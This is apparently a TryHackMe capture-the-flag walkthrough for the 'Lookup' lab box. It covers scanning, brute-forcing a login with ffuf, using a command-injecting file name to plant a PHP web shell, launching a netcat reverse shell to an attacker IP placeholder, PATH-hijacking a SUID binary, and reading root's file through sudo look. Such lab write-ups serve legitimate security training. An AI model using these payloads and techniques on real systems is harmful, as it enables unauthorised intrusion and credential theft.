TryHackMe: Lookup
Hey everyone, and welcome to my walkthrough for the “Lookup” room on TryHackMe! I had a blast with this one, so grab your favorite beverage, fire up your terminal, and let’s get hacking.
Nmap Scan: The First Knock
First things first, let’s make our lives a little easier. Constantly typing or copy-pasting an IP address is a recipe for typos and frustration. I’m exporting the target IP to an environment variable. Trust me, your future self will thank you.
1
export IP=10.10.219.52
With our trusty $IP
variable ready, it’s time to unleash nmap
to see what doors are open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -T4 -n -sC -sV -Pn -p- $IP
Starting Nmap 7.97 ( https://nmap.org ) at 2025-06-27 17:58 +0300
Nmap scan report for 10.10.219.52
Host is up (0.074s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:86:69:de:5a:2b:d9:2d:e4:66:63:31:59:8c:b9:51 (RSA)
| 256 42:53:6f:97:c3:7d:bb:cc:a0:38:ed:4f:b2:73:28:32 (ECDSA)
|_ 256 c4:44:35:6d:9b:51:ca:03:1b:42:0f:51:ac:34:fd:6b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://lookup.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.29 seconds
The scan reveals two open ports: SSH (22) and HTTP (80). The HTTP title gives us a huge clue: Did not follow redirect to http://lookup.thm
. This means the web server is configured to respond to a domain name, not just the IP address.
Let’s try a quick curl
just to confirm.
1
curl $IP
As expected, we get no output. Time to fire up the browser! Navigating to the IP address confirms the redirect. To make our computer understand what lookup.thm
is, we need to add it to our /etc/hosts
file, pointing it to the target’s IP.
1
2
# Add this line to your /etc/hosts file
10.10.219.52 lookup.thm
With that done, browsing to http://lookup.thm
finally shows us the website!
Naturally, I tried the classic admin:admin
combo. It didn’t work, of course. That would be too easy! Time to do some proper reconnaissance.
Let’s fuzz the server for hidden directories and files with gobuster
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://lookup.thm/ -x md,js,html,php,py,css,txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://lookup.thm/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: md,js,html,php,py,css,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 719]
/login.php (Status: 200) [Size: 1]
/server-status (Status: 403) [Size: 275]
/styles.css (Status: 200) [Size: 687]
Progress: 37912 / 37912 (100.00%)
===============================================================
Finished
===============================================================
Bingo! login.php
looks very promising. This is likely where we need to focus our brute-force efforts. By intercepting a login attempt with Burp Suite (or just watching the network tab in the browser), I can see the POST request format:
1
admin=admin&password=admin
My first guess is that the username is admin
. Let’s fire up ffuf
to find the password. The -fw 8
flag filters out responses with 8 words, which is the size of the “Invalid credentials” response.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 8
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : POST
:: URL : http://lookup.thm/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8
:: Data : username=admin&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 8
________________________________________________
************* [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 75ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
We found a password! I tried logging in with admin
and our shiny new password, but… it didn’t work. What a plot twist! This means my initial assumption was wrong, and the username is probably not admin
.
Time for round two. Let’s fuzz the username, using the password we just found. I’ll filter out responses with 10 words this time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ ffuf -w /usr/share/wordlists/seclists/Usernames/xato_net_usernames.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=REDACTED' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 10
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : POST
:: URL : http://lookup.thm/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/xato_net_usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8
:: Data : username=FUZZ&password=REDACTED
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 10
________________________________________________
**** [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 74ms]
Success! A 302
status code indicates a successful redirect after login. We have our credentials!
Logging in with our newly found username and password works, but it immediately routes me to files.lookup.thm
. Time to edit /etc/hosts
again!
1
2
# Add this second domain to the line in your /etc/hosts file
10.10.219.52 lookup.thm files.lookup.thm
After adding the new domain, I’m greeted by a web-based file manager.
My first instinct is to check the software version for any known vulnerabilities. A quick search leads me to this exploit on Exploit-DB.
The exploit is written in Python 2. Since Python 2 is ancient and can be a pain to get running, I decided to analyze the script and perform the steps manually. It’s better practice anyway! The exploit works in a few clever steps:
- Upload a regular JPEG file.
- Rename the file to a specially crafted name. This command decodes a hex string into a PHP web shell and names the file
shell.php
… but keeps a.jpg
extension to fool the server.1
$(echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php).jpg
The hex decodes to:
<?php system($_GET["c"]); ?>
- Use the file manager’s “rotate image” feature and click “Apply”. This triggers a bug where the server re-processes the file, stripping the
.jpg
extension and leaving us withshell.php
. - You’ll get an error, but that’s expected. The magic has already happened.
Now, we can access our shell and execute commands via the c
parameter in the URL.
1
2
❯ curl -s 'http://files.lookup.thm/elFinder/php/shell.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have command execution as the www-data
user!
Gaining a Reverse Shell
A web shell is nice, but a proper interactive reverse shell is way better. I used revshells.com to generate a payload, URL-encoded it, and sent it with curl
.
1
❯ curl -s 'http://files.lookup.thm/elFinder/php/shell.php?c=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20[YOUR_IP]%204444%20%3E%2Ftmp%2Ff'
And just like that, a shell pops on my netcat
listener. We’re in!
1
2
3
4
www-data@ip-10-10-219-52:/home$ ls
ssm-user
think
ubuntu
Privilege Escalation: Part 1 (www-data -> think)
I ran linpeas.sh
on the machine and it highlighted a very interesting SUID binary: /usr/sbin/pwm
.
1
2
3
4
5
6
www-data@ip-10-10-219-52:/usr/sbin$ ls -la pwm
-rwsr-sr-x 1 root root 17176 Jan 11 2024 pwm
www-data@ip-10-10-219-52:/usr/sbin$ ./pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
Aha! The program helpfully tells us it’s running the id
command. If the developer didn’t use an absolute path (like /usr/bin/id
), the system will search for id
in the directories listed in our PATH
environment variable. This smells like a classic PATH Hijacking opportunity!
Let’s check /etc/passwd
to find a user to impersonate. The user think
with UID/GID 1000 looks like a good target.
1
2
www-data@ip-10-10-219-52:/usr/sbin$ cat /etc/passwd | grep think
think:x:1000:1000:,,,:/home/think:/bin/bash
Now for the hijack. We’ll create our own fake id
script in /tmp
(a world-writable directory) that outputs think
’s user info. Then, we’ll prepend /tmp
to our PATH
.
1
2
3
4
5
6
7
8
# Set our PATH so the system looks in /tmp first
export PATH=/tmp:$PATH
# Create a malicious 'id' script in /tmp
echo -e '#!/bin/bash\necho "uid=1000(think) gid=1000(think) groups=33(www-data)"' > /tmp/id
# Make it executable
chmod +x /tmp/id
Now, when we run the pwm
binary, it will execute our id
script instead of the real one. It will be tricked into thinking we are the user think
and will hopefully leak think
’s passwords.
1
2
3
4
5
6
www-data@ip-10-10-219-52:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
...
jose.2856171
It worked! The binary dumped a list of passwords. I saved them to a file and used hydra
to brute-force the SSH login for the user think
.
1
2
3
4
5
6
7
8
9
10
❯ hydra -l think -P passwords.txt ssh://lookup.thm
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-27 19:49:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:1/p:49), ~4 tries per task
[DATA] attacking ssh://lookup.thm:22/
[22][ssh] host: lookup.thm login: think password: *************
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-27 19:49:34
With the password found, I can SSH in as think
and grab the user flag.
1
2
think@ip-10-10-219-52:~$ cat user.txt
**********************************
Privilege Escalation: Part 2 (think -> root)
One flag down, one to go. Let’s see what sudo
privileges we have.
1
2
3
4
5
6
7
8
think@ip-10-10-219-52:~$ sudo -l
[sudo] password for think:
Matching Defaults entries for think on ip-10-10-219-52:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User think may run the following commands on ip-10-10-219-52:
(ALL) /usr/bin/look
Interesting. We can run the /usr/bin/look
command as any user, including root. A quick man look
shows it’s used to find lines in a sorted file. It also uses /usr/share/dict/words
as a default dictionary. Let’s see what happens when we point it at the root flag.
1
2
think@ip-10-10-219-52:~$ sudo look /root/root.txt
look: /usr/share/dict/words: No such file or directory
The command fails because the dictionary file doesn’t exist. My first thought was to try creating a malicious words
file, but a quick check shows we don’t have write permissions in /usr/share/dict/
.
However, the look
command takes a search string as its first argument. What if the program doesn’t actually need the dictionary file if we provide all the necessary arguments? Let’s try giving it an empty string as the search term, which should match every line, and point it directly at the root flag.
1
2
think@ip-10-10-219-52:~$ sudo /usr/bin/look '' /root/root.txt
*********************************
And there it is! The root flag is ours. This was a super fun box with some great, realistic privilege escalation paths. Thanks for reading!